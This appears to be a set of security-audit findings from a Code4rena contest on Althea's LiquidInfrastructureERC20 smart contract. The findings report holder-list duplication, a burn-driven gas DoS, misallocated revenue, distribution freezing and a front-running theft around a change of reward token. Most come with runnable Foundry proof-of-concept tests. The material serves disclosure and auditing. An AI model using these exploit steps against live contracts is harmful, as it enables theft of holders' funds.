Althea Liquid Infrastructure - max10afternoon's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L143

Vulnerability details

Impact

Users with 0 balance, can add them self multiple times to the holders list, by transferring 0 to them self. Since the distribute function uses a for loop over the holders list, this may result in them receiving more assets than deserved, stealing it from others

Proof of Concept

The _beforeTokenTransfer function of the LiquidInfrastructureERC20 contract, check if the receiver of the tokens has any balance in the contract, prior to the transfer, and if they don't, the receiving user will be added to the holder's list:

        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

A user can transfer 0 tokens (from any account, since the isApprovedHolder is performed on the receiver and not on the sender), while they have 0 balance, this will result in them being added to the holder's list, while maintaining a 0 balance, hence they will be added again in the following _beforeTokenTransfer call, targeting them. (the process can be repeated as many time as they want).

This can be done by back running the approveHolder call by the owner, and by front running the following mint. Or it might be achieved by transferring all the tokens to an other colluded user, and them getting them back later (users are KYCed but, getting two people to collude for a profit, is not a strict requirement).

Also note that since revenue is distributed in a FIFO manner, there must be some other users minting after the exploit, in order to make it profitable.

Also, since the protocol uses a lot of for loops, adding arbitrary amount of addresses to the holders' list, will result in excessive gas consumption, resulting in partial/total Dos of some functionalities.

Here is a coded PoC that you can run:

First add the following function to the LiquidInfrastructureERC20 contract, note that it is a view function, hence it doesn't modify the state or behavior of the original contract, while making the result of the script way more readable:

    function getHolders() external view returns (address[] memory ){
        return holders;
    }

Than copy the following foundry script in the test directory to preserve dependencies:

//forge init --force --no-git

pragma solidity 0.8.12;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./../contracts/LiquidInfrastructureERC20.sol";


contract mockERC20 is ERC20{
	constructor(
    	string memory _name,
    	string memory _symbol
  	) ERC20(_name, _symbol) {}
}

contract LiquidInfrastructureERC20Test is Test{

	LiquidInfrastructureERC20 liquidERC20;
	address holder;

    function setUp() public {

    	address[] memory empty;
    	address[] memory ercs = new address[](1);

    	holder = address(0x123);


    	mockERC20 testERC20 = new mockERC20('test', 'tst');
    	ercs[0] = address(testERC20);

    	liquidERC20 = new LiquidInfrastructureERC20(
    		'liquidERC20',
    		'lqd',
    		empty,
    		empty,
    		500,
    		ercs
    		);

 
    }

    function testAddUserMutipleTimes() public{

        address[] memory holders;

        liquidERC20.approveHolder(holder);

        liquidERC20.transfer(holder, 0);
        liquidERC20.transfer(holder, 0);
        liquidERC20.transfer(holder, 0);

        liquidERC20.mint(holder, 1e18);

 
        holders =  liquidERC20.getHolders();

        assertEq(holders[0], holder); //added with transfer
        assertEq(holders[1], holder); //added with transfer
        assertEq(holders[2], holder); //added with transfer
        assertEq(holders[3], holder); //added with mint


        console.log(holders[0]);
        console.log(holders[1]);
        console.log(holders[2]);
        console.log(holders[3]);
    }
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142

Vulnerability details

Impact

The burn function adds address 0 to the holders list every time it gets called. Since the protocol uses multiple for loops over the holders list, this will result in unnecessarily high gas costs and might go as far as causing a partial or complete DoS of the contract's functionalities, as highlighted in another reported issue.

Proof of Concept

The _beforeTokenTransfer function of the LiquidInfrastructureERC20 contract, check if the receiver of the tokens has any balance in the contract, prior to the transfer, and if they don't, the receiving user will be added to the holder's list:

        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }

Since the burn function, uses address 0 as the receiver when calling _beforeTokenTransfer, but no tokens gets transferred to it, every time a burn function gets called, address 0 will be added to the list of holders.

Note that every NEW mint, will remove address 0 from the list, in the _afterTokenTransfer function. But since this uses an unbounded for loop over the holders list, this function might not be callable to resolve the issue. Also note that the last element of the list, will replace the removed one:

       bool stillHolding = (this.balanceOf(from) != 0);
        if (!stillHolding) {
            for (uint i = 0; i < holders.length; i++) {
                if (holders[i] == from) {
                    // Remove the element at i by copying the last one into its place and removing the last element
                    holders[i] = holders[holders.length - 1];
                    holders.pop();
                }
           

Hence if there are addresses 0 added at the bottom of the list, they will be preserved, since, after the swap, the loop will move to the next element.

Also note, that any amount burned will cause address 0 to be added, even partial ones, therefor a user can burn 1 wei multiple times to add address 0 virtually as many time as they want.

Here is a coded PoC that you can run:

First add the following function to the LiquidInfrastructureERC20 contract, note that it is a view function, hence it doesn't modify the state or behavior of the original contract, while making the result of the script way more readable:

    function getHolders() external view returns (address[] memory ){
        return holders;
    }

Than copy the following foundry script in the test directory to preserve dependencies:

//forge init --force --no-git

pragma solidity 0.8.12;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./../contracts/LiquidInfrastructureERC20.sol";


contract mockERC20 is ERC20{
	constructor(
    	string memory _name,
    	string memory _symbol
  	) ERC20(_name, _symbol) {}
}

contract LiquidInfrastructureERC20Test is Test{

	LiquidInfrastructureERC20 liquidERC20;
	address holder;

    function setUp() public {

    	address[] memory empty;
    	address[] memory ercs = new address[](1);

    	holder = address(0x123);


    	mockERC20 testERC20 = new mockERC20('test', 'tst');
    	ercs[0] = address(testERC20);

    	liquidERC20 = new LiquidInfrastructureERC20(
    		'liquidERC20',
    		'lqd',
    		empty,
    		empty,
    		500,
    		ercs
    		);

    	liquidERC20.approveHolder(holder);
    	liquidERC20.mint(holder, 1e18);
    }

    function testBurn() public{

    	address[] memory holders;
    	uint256 holdersLength;
    	uint256 previousHoldersLength;

    	holders =  liquidERC20.getHolders();
    	holdersLength = holders.length;

    	console.log(holdersLength);
    	assertEq(holdersLength, 1);


    	//Burn increases holders by 1
    	vm.prank(holder);
    	liquidERC20.burn(1);
    	
    	previousHoldersLength = holdersLength;
    	holders =  liquidERC20.getHolders();
    	holdersLength = holders.length;

    	console.log(holdersLength);	
    	assertEq(holdersLength, previousHoldersLength + 1);


    	//Burn increases holders by 1
    	vm.prank(holder);
    	liquidERC20.burn(1);
    	
    	previousHoldersLength = holdersLength;
    	holders =  liquidERC20.getHolders();
    	holdersLength = holders.length;

    	console.log(holdersLength);	
    	assertEq(holdersLength, previousHoldersLength + 1);
    	
    }
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L275

Vulnerability details

Impact

The protocol distributes rewards based on the total supply of LiquidInfrastructureERC20 tokens in the contract. This will also include the balance of users that are sanctioned, blacklisted (from some ERC20 with a blacklist) or have their approval revoked from the protocol, meaning that although this users won't receive the rewards, their share of the revenue will still be held in the contract, losing value to the other, regular users of the protocol

Proof of Concept

The _beginDistribution function uses the total supply of LiquidInfrastructureERC20 tokens, to compute how much reward to distribute per token:

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

This will include include the balance of users that are sanctioned, blacklisted (from ERC20s with a blacklist) or have their approval revoked from the protocol. The contract will therefor still accumulate value to their tokens (although it won't be possible to withdraw it), losing revenue to regular users of the protocol.

This is meaningful since the protocol uses an approval system (based on KYC, as per documentation), meaning that their may be scenarios where a user will get their KYC revoked and/or their approval (due to changes in regulations or malicious on chain actions).

Mitigation Steps

Since the owner, already, has the power to mint new tokens, granting it the power to burn them as well, would fix this issue, while not increasing the centralization level by much.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L359

Vulnerability details

Impact

Both distribute and withdrawFromManagedNFTs are permissionless functions. Meaning that anyone can call them in the wrong order to exclude the freshly transferred tokens (by withdrawFromManagedNFTs), from being distributed until the next round of distribution. The token will stay in the contract and will be distributed in the next round, since users might burn or, more importantly, mint new tokens during this time gap, freezing the assets for one round will make a difference and can be profitable for a user that is about to get some LiquidInfrastructureERC20 tokens minted to them, while losing some amount of value to the pre-existing users (especially considering that the mintAndDistribute function would exclude the new user, from partaking in the revenue generated by the previous round)

Proof of Concept

The distribute function internally calls _beginDistribution which computes the amount of tokens to distribute using the contract's balance of the distributable ERCs:

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

The tokens are transferred to the contract, from the LiquidInfrastructureNFT by calling withdrawFromManagedNFTs, therefor if burnAndDistribute is called before withdrawFromManagedNFTs, the contract will have no tokens in it's balances, and the distribution will award 0 tokens for the round.

Also note that both distribute and withdrawFromManagedNFTs are permissionless, meaning that anyone can intentionally call them in the wrong order to freeze the revenue sharing process for one round.

Here is a foundry test that you can run, showing the above mentioned behavior. Place it in the test folder to preserve dependencies:

//forge init --force --no-git

pragma solidity 0.8.12;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./../contracts/LiquidInfrastructureERC20.sol";
import "./../contracts/LiquidInfrastructureNFT.sol";


contract mockERC20 is ERC20{
	constructor(
    	string memory _name,
    	string memory _symbol
  	) ERC20(_name, _symbol) {}

  	function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract LiquidInfrastructureERC20Test is Test {

	LiquidInfrastructureERC20 liquidERC20;
	LiquidInfrastructureNFT liquidNFT;
	mockERC20 testERC20;

	address holder;
	address externalUser;

    function setUp() public {

    	address[] memory empty;
    	address[] memory ercs = new address[](1);

    	holder = address(0x123);
    	externalUser = address(0x456);


    	testERC20 = new mockERC20('test', 'tst');
    	ercs[0] = address(testERC20);

    	liquidERC20 = new LiquidInfrastructureERC20(
    		'liquidERC20',
    		'lqd',
    		empty,
    		empty,
    		500,
    		ercs
    		);

    
    	liquidNFT = new LiquidInfrastructureNFT('test');
    	liquidNFT.transferFrom(address(this), address(liquidERC20), 1);
    	liquidERC20.addManagedNFT(address(liquidNFT));
    	testERC20.mint(address(liquidNFT), 1e18);


    	liquidERC20.approveHolder(holder);
    	liquidERC20.mint(holder, 1e18);
    }

    function testYieldFreeze() public{
    	
    	vm.roll(501);
    	vm.startPrank(externalUser);
    	liquidERC20.withdrawFromManagedNFTs(1);
    	liquidERC20.distribute(1);
    	vm.stopPrank();

    	uint256 holderBalance = testERC20.balanceOf(holder);
    	assertEq(0, holderBalance);
    	console.log(holderBalance);
    		
    }
}

Assessed type

Payable

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441

Vulnerability details

Impact

When replacing an ERC20 token reward with another ERC20 token that has a lower amount of decimals (EG: Replacing Dai, which has 18 decimals, with USDC which only has 6), the setDistributableERC20s call can be sandwiched for a profit.

Proof of Concept

The LiquidInfrastructureERC20 contract uses the distribute function to distribute rewards to the holders. This function calls _beginDistributio to compute how much reward to allocate to each liquidInfrastuctureERC20 token:

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

Once this is computed (in the erc20EntitlementPerUnit list), each user will get EntitlementPerUnit * balanceOfTheHolder amount of reward.

The owner can call setDistributableERC20s to change the ERC20 token reward to distribute. When the owner changes an old token, with another ERC20 token that has a lower amount of decimal, a user can front run this function call, by calling distribute up to their own id, this will compute the entitlement using the decimal of the older token (with a high number of decimals), than let setDistributableERC20s call be execute, and than complete the distribution with the newer lower decimals token, since the amount of reward is computed as EntitlementPerUnit * balanceOfTheHolder, having the entitlement of a high decimal ERC20 be used to compute the reward of a lower decimals ERC20 will result in the second distribution awarding a larger amount of tokens/value.

Here is an example scenario:

Assume, for simplicity, that in the contract there are only 2 users. The issue would still apply with larger numbers, but this will makes the example way more readable.

The owner replace the current LiquidInfrastructureNFT rewarding in Dai, with a new LiquidInfrastructureNFT containing rewards in USDC, for a value of 100$ (100e6).

Than calls setDistributableERC20s

A malicious user, observing the mempool sees this and front runs the setDistributableERC20s call by: -Calling withdrawFromManagedNFTs, transfering the USDCs in the contract -than transfers 100e6 of Dai (worth almost nothing in $), to the contract -Than calls distribute up to the Id right before their own, distributing the 100e6 Dai to the other user (worth almost nothing in $), while setting the entitlement for the upcoming USDC amount. -Than it lets setDistributableERC20s be executed

After the reward token has been updated to USDC, they can complete the distribution getting 50e6 USDC (worth 50$), and leaving other 50$ for the next distribution.

Since there are only 2 users, they will both get 25e6 USDC, during the next distribution (+ any other reward which is irrelevant for this example). Meaning that a the end the regular user will have received 25$ while the attacker 75$. With the user losing a portion of their revenue, while the attacker getting is some extra.

Here is a foundry test, that implements the above scenario, place it in the test folder, to preserve dependencies:

//forge init --force --no-git

pragma solidity 0.8.12;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./../contracts/LiquidInfrastructureERC20.sol";
import "./../contracts/LiquidInfrastructureNFT.sol";


contract mockERC20 is ERC20{

    uint8 nDecimals;

	constructor(
    	string memory _name,
    	string memory _symbol,
        uint8 dec
  	) ERC20(_name, _symbol) {
        nDecimals = dec;
    }

    function decimals() public view override returns (uint8) {
        return nDecimals;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

}

contract LiquidInfrastructureERC20Test is Test{

	LiquidInfrastructureERC20 liquidERC20;
    LiquidInfrastructureNFT liquidNFT;
    address[] ercs;
	
    address holder;
    address attacker;

    mockERC20 sixDecimalsStableCoin;
    mockERC20 eighteenDecimalsStableCoin;


    function setUp() public {

    	address[] memory empty;
        uint256[] memory ints;
    	ercs = new address[](1);
        ints = new uint256[](1);

    	holder = address(0x123);
        attacker = address(0x456);

    	sixDecimalsStableCoin = new mockERC20('test6', 'tst6', 6);
        eighteenDecimalsStableCoin = new mockERC20('test18', 'tst18', 18);

    	ercs[0] = address(eighteenDecimalsStableCoin);

    	liquidERC20 = new LiquidInfrastructureERC20(
    		'liquidERC20',
    		'lqd',
    		empty,
    		empty,
    		500,
    		ercs
    		);

        liquidNFT = new LiquidInfrastructureNFT('test');

        ints[0] = 100e6;
        ercs[0] = address(sixDecimalsStableCoin);
        liquidNFT.setThresholds(
        ercs,
        ints
        );

        liquidERC20.approveHolder(holder);
        liquidERC20.mint(holder, 1e5);
        liquidERC20.approveHolder(attacker);
        liquidERC20.mint(attacker, 1e5);

        vm.roll(block.number + 500);
        eighteenDecimalsStableCoin.mint(attacker, 1e18); 
    }

    function testFrontrunTheft() public{


        //Manager replaces old NFT that was distributing stable coins with 18 decimals (like Dai)
        //With a new NFT that holds a stablecoin with 6 decimals (like USDC)
        liquidNFT.transferFrom(address(this), address(liquidERC20), 1);
        liquidERC20.addManagedNFT(address(liquidNFT));
        sixDecimalsStableCoin.mint(address(liquidNFT), 100e6);

        //Attacker frontruns 'setDistributableERC20s' by transfering 0,000 000 001$ of the stable coin with 18 decimals to the contract
        //And by calling 'withdrawFromManagedNFTs', which will get token of the new stable coin from the Nft into the contract.
        vm.startPrank(attacker); 
        liquidERC20.withdrawFromManagedNFTs(1);
        eighteenDecimalsStableCoin.transfer(address(liquidERC20), 100e6);
        

        //Than calls 'distribute' up to their position in the holders list
        //Since there are 2 users this will send 0.000 000 000 5$ (5e6) of the older, 18 decimals, token to the other user
        //Leaving 5e5 entitlement for them selves
        liquidERC20.distribute(1);
        vm.stopPrank();


        //The 'setDistributableERC20s', called by the owner, gets executed, changing the reward token to a six decimal stablecoin
        ercs[0] = address(sixDecimalsStableCoin);
        liquidERC20.setDistributableERC20s(ercs);

        
        //Now the attacker can finish the distribution, withdrawing their 5e17 entlement, which is now worth 50$
        vm.prank(attacker);
        liquidERC20.distribute(1); 

        //Leaving 50$ worth of the new assets in the contract, which will be split 50/50 during the next distribution 
        //On top of any other tokens that were to be added
        assertEq(sixDecimalsStableCoin.balanceOf(attacker), 50e6);
        assertEq(sixDecimalsStableCoin.balanceOf(holder), 0);
        assertEq(sixDecimalsStableCoin.balanceOf(address(liquidERC20)), 50e6);
        console.log(sixDecimalsStableCoin.balanceOf(attacker));
        console.log(sixDecimalsStableCoin.balanceOf(holder));
        console.log(sixDecimalsStableCoin.balanceOf(address(liquidERC20)));

        //Resulting in a 25% theft by the attacker, and an equavalent loss by the user
        vm.roll(block.number + 500);
        liquidERC20.distribute(2);


        assertEq(sixDecimalsStableCoin.balanceOf(attacker), 75e6);
        assertEq(sixDecimalsStableCoin.balanceOf(holder), 25e6);
        console.log(sixDecimalsStableCoin.balanceOf(attacker));
        console.log(sixDecimalsStableCoin.balanceOf(holder));
      
       //Note: The same would happen if more rewards tokens were to be added, but it would be less readable 
    }
}

Assessed type

Other